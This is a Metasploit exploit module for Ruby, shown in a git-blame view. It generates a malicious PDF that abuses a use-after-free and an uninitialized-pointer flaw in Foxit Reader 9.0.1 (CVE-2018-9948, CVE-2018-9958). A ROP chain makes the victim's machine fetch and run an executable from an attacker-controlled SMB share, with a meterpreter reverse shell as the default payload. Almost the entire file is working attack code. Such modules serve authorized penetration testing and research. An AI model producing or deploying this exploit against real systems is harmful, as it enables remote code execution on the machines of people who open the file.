Files
metasploit-gs/modules/exploits/windows/fileformat/foxit_reader_uaf.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

109 lines
3.6 KiB
Ruby
Raw Normal View History

2018-08-21 08:17:29 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Foxit PDF Reader Pointer Overwrite UAF',
'Description' => %q{
Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability
in the Text Annotations component and the TypedArray's use
uninitialized pointers.
2018-08-21 08:17:29 -05:00
2025-06-20 13:20:44 +01:00
The vulnerabilities can be combined to leak a vtable memory address,
which can be adjusted to point to the base address of the executable.
A ROP chain can be constructed that will execute when Foxit Reader
performs the UAF.
2018-08-29 10:59:36 -05:00
2025-06-20 13:20:44 +01:00
This module has been tested on Windows 7 x64, Windows 10 Pro x64
Build 17134, and Windows 10 Enterprise x64. Windows 10 Enterprise
must have insecure logons enabled for the exploit to work as expected.
},
'License' => MSF_LICENSE,
'Author' => [
'mr_me', # Use-after-free and PoC
2018-08-21 08:17:29 -05:00
'bit from meepwn', # Uninitialized pointer
'saelo', # JavaScript Garbage Collector
'Jacob Robles' # Metasploit Module
],
2025-06-20 13:20:44 +01:00
'References' => [
2018-08-21 08:17:29 -05:00
['CVE', '2018-9948'],
['CVE', '2018-9958'],
['ZDI', '18-332'],
['ZDI', '18-342'],
['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'],
2018-08-24 10:52:01 -05:00
['URL', 'https://srcincite.io/pocs/cve-2018-99{48,58}.pdf.txt']
2018-08-21 08:17:29 -05:00
],
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
2018-08-21 08:17:29 -05:00
'DisablePayloadHandler' => true,
'FILENAME' => 'test.pdf',
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
2025-06-20 13:20:44 +01:00
'Platform' => 'win',
'Targets' => [
2018-08-21 08:17:29 -05:00
['Windows 10 Pro x64 Build 17134', {}]
],
2025-06-20 13:20:44 +01:00
'DisclosureDate' => '2018-04-20',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2018-08-21 08:17:29 -05:00
register_options([
OptString.new('EXENAME', [false, 'EXE file to download', '']),
OptString.new('SHARE', [false, 'SMB share hosting exe', ''])
])
end
2018-09-05 21:47:57 -05:00
def get_pdf
2018-08-23 14:38:46 -05:00
share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']
2018-08-21 08:17:29 -05:00
fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
fname << '.exe' unless fname.ends_with?('.exe')
share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}"
num = 4 - (share_path.length % 4)
2018-08-28 16:26:21 -05:00
num = 0 if num == 4
2025-06-20 13:20:44 +01:00
share_path << "\x00" * num
2018-08-21 08:17:29 -05:00
return nil if share_path.length > 44
print_status("share_path: #{share_path}")
rop = ''
max_index = 0
2025-06-20 13:20:44 +01:00
share_path.unpack('V*').each_with_index { |blk, index|
rop << "\nrop[0x%02x] = 0x%08x;" % [index + 12, blk]
2018-08-21 08:17:29 -05:00
max_index = index
}
2025-06-20 13:20:44 +01:00
(max_index + 1).upto(10) { |i| rop << "\nrop[0x%02x] = 0x00000000;" % (i + 12) }
2018-08-21 08:17:29 -05:00
begin
2018-09-05 21:47:57 -05:00
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-9948', 'template.pdf'))
pdf_doc = ERB.new(template).result(binding())
pdf_doc
rescue Errno::ENOENT
fail_with(Failure::NotFound, 'The PDF template was not found')
end
2018-08-21 08:17:29 -05:00
end
def exploit
2018-09-05 21:47:57 -05:00
my_pdf = get_pdf
if my_pdf.nil?
2018-08-21 08:17:29 -05:00
fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
end
2018-09-05 21:47:57 -05:00
file_create(my_pdf)
2018-08-21 08:17:29 -05:00
end
end